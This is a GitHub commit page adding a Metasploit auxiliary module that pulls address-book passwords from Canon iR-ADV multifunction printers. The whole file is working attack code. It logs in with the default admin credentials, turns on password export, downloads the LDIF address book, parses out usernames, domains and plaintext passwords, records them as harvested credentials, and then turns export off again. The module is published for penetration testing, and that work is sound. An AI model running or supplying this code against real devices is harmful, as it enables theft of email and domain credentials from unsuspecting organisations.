Skip to content

Commit 600704c

Browse files
committed
Merge remote-tracking branch 'upstream/pr/6939'
2 parents ab27c1b + 9450906 commit 600704c

File tree

1 file changed

+215
-0
lines changed

1 file changed

+215
-0
lines changed
Lines changed: 215 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,215 @@
1+
#
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'Canon IR-Adv Password Extractor',
17+
'Description' => %q{
18+
This module will extract the passwords from address books on various Canon IR-Adv mfp devices.
19+
Tested models:
20+
iR-ADV C2030,
21+
iR-ADV 4045,
22+
iR-ADV C5030,
23+
iR-ADV C5235,
24+
iR-ADV C5240,
25+
iR-ADV 6055,
26+
iR-ADV C7065
27+
},
28+
'Author' =>
29+
[
30+
'Deral "Percentx" Heiland',
31+
'Pete "Bokojan" Arzamendi',
32+
'William Vu',
33+
'Dev Mohanty'
34+
],
35+
'License' => MSF_LICENSE
36+
))
37+
38+
register_options(
39+
[
40+
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", false]),
41+
OptInt.new('ADDRSBOOK', [ true, 'The number of the address book to extract 1-11', 1]),
42+
Opt::RPORT(8000),
43+
OptString.new('USER', [ true, 'The default Admin user', '7654321']),
44+
OptString.new('PASSWD', [ true, 'The default Admin password', '7654321']),
45+
OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20])
46+
47+
], self.class)
48+
end
49+
50+
def run_host(ip)
51+
print_status("Attempting to extract passwords from the address books on the MFP at #{rhost}")
52+
login(ip)
53+
end
54+
55+
#Authenticate to management function on Canon MFP and build needed cookies for dta harvesting
56+
def login(ip)
57+
vars_post = {
58+
"uri" => "%2f",
59+
"deptid" => "#{datastore['USER']}",
60+
"password" => "#{datastore['PASSWD']}"
61+
}
62+
begin
63+
res = send_request_cgi({
64+
'method' => 'POST',
65+
'uri' => normalize_uri('/login'),
66+
'vars_post' => vars_post
67+
}, datastore['TIMEOUT'].to_i)
68+
end
69+
70+
#grab Canon sessionid cookie
71+
idcookie = res.nil? ? nil : res.get_cookies
72+
73+
if res.code == 301 || res.code == 302 && res.headers.include?('Location')
74+
print_good("#{rhost} - SUCCESSFUL login with USER='#{datastore['USER']}' : PASSWORD='#{datastore['PASSWD']}'")
75+
76+
#grab Canon IR= session cookie
77+
res = send_request_cgi({
78+
'method' => 'GET',
79+
'uri' => normalize_uri('/rps/nativetop.cgi?RUIPNxBundle=&CorePGTAG=PGTAG_CONF_ENV_PAP&Dummy=1400782981064'),
80+
'headers' => {'Cookie' => "#{idcookie}"},
81+
}, datastore['TIMEOUT'].to_i)
82+
ircookie = res.nil? ? nil : res.get_cookies
83+
cookies=("#{idcookie}; #{ircookie}")
84+
85+
set_allow(cookies)
86+
extract(cookies, ip)
87+
set_disallow(cookies)
88+
89+
else
90+
print_error("Failed to login on #{rhost}. Please check the password for the #{datastore['USER']} account ")
91+
end
92+
end
93+
94+
95+
# Set the allow password export to on
96+
def set_allow(cookies)
97+
vars_post = {
98+
"ADRSEXPPSWDCHK" => "0",
99+
"PageFlag" => "c_adrs.tpl",
100+
"Flag" => "Exec_Data",
101+
"CoreNXAction" => "./cadrs.cgi",
102+
"CoreNXPage" => "c_adrexppass.tpl",
103+
"CoreNXFlag" => "Init_Data",
104+
"Dummy" => "1359048058115"
105+
}
106+
begin
107+
res = send_request_cgi({
108+
'method' => 'POST',
109+
'uri' => normalize_uri('/rps/cadrs.cgi'),
110+
'vars_post' => vars_post,
111+
'headers' => {'Cookie' => "#{cookies}"},
112+
}, datastore['TIMEOUT'].to_i)
113+
end
114+
end
115+
116+
# Extract the adress book data and save out to loot
117+
def extract(cookies, ip)
118+
vars_post = {
119+
"AID" => "#{datastore['ADDRSBOOK']}",
120+
"ACLS" => "1",
121+
"ENC_MODE" => "0",
122+
"ENC_FILE" => "password",
123+
"PASSWD" => "",
124+
"PageFlag" => "",
125+
"AMOD" => "",
126+
"Dummy" => "1359047882596",
127+
"ERR_PG_KIND_FLG" => "Adress_Export"
128+
}
129+
res = send_request_cgi({
130+
'method' => 'POST',
131+
'uri' => normalize_uri('/rps/abook.ldif'),
132+
'vars_post' => vars_post,
133+
'headers' => {'Cookie' => "#{cookies}"},
134+
}, datastore['TIMEOUT'].to_i)
135+
address_book = res.nil? ? nil : res.body
136+
print_status("#{address_book}")
137+
138+
#Woot we got loot.
139+
loot_name = "canon.iradv.addressbook"
140+
loot_type = "text/plain"
141+
loot_filename = "Canon-addressbook.text"
142+
loot_desc = "Canon Addressbook Harvester"
143+
p = store_loot(loot_name, loot_type, datastore['RHOST'], address_book , loot_filename, loot_desc)
144+
print_status("Credentials saved in: #{p}")
145+
146+
harvest_ldif(address_book, ip)
147+
end
148+
149+
# Reset the allow password export to off
150+
def set_disallow(cookies)
151+
vars_post = {
152+
"ADRSEXPPSWDCHK" => "1",
153+
"PageFlag" => "c_adrs.tpl",
154+
"Flag" => "Exec_Data",
155+
"CoreNXAction" => "./cadrs.cgi",
156+
"CoreNXPage" => "c_adrexppass.tpl",
157+
"CoreNXFlag" => "Init_Data",
158+
"Dummy" => "1359048058115"
159+
}
160+
res = send_request_cgi({
161+
'method' => 'POST',
162+
'uri' => normalize_uri('/rps/cadrs.cgi'),
163+
'vars_post' => vars_post,
164+
'headers' => {'Cookie' => "#{cookies}"},
165+
}, datastore['TIMEOUT'].to_i)
166+
end
167+
168+
# Harvest Credential
169+
def harvest_ldif(address_book, ip)
170+
harvest_file(address_book, ip)
171+
end
172+
173+
def harvest_credentials(mailaddress, pwd, ip)
174+
return if mailaddress == nil
175+
username_domain = mailaddress.split('@')
176+
username = username_domain[0]
177+
domain = username_domain[1]
178+
179+
service_data = {
180+
address: Rex::Socket.getaddress(ip),
181+
port: rport,
182+
protocol: 'tcp',
183+
service_name: ssl ? 'https' : 'http',
184+
workspace_id: myworkspace_id
185+
}
186+
187+
credential_data = {
188+
origin_type: :service,
189+
module_fullname: self.fullname,
190+
username: username,
191+
private_data: pwd,
192+
private_type: :password
193+
}
194+
195+
create_credential(credential_data.merge(service_data))
196+
197+
print_good "Domain: #{domain}\nUser: #{username}\nPassword: #{pwd}\n\r"
198+
end
199+
200+
def harvest_file(ldif, ip)
201+
users = []
202+
ldif.split("\r\n\r\n").each do |user|
203+
user_attributes = {}
204+
user.split("\r\n").each do |attribute|
205+
attribute_array = attribute.split(": ")
206+
attr_name = attribute_array.shift
207+
attr_value = attribute_array.join
208+
user_attributes[attr_name] = attr_value
209+
end
210+
harvest_credentials((user_attributes['username'] || user_attributes['mailaddress'] || user_attributes['mail']), user_attributes['pwd'], ip)
211+
users << user_attributes
212+
end
213+
end
214+
215+
end

0 commit comments

Comments
 (0)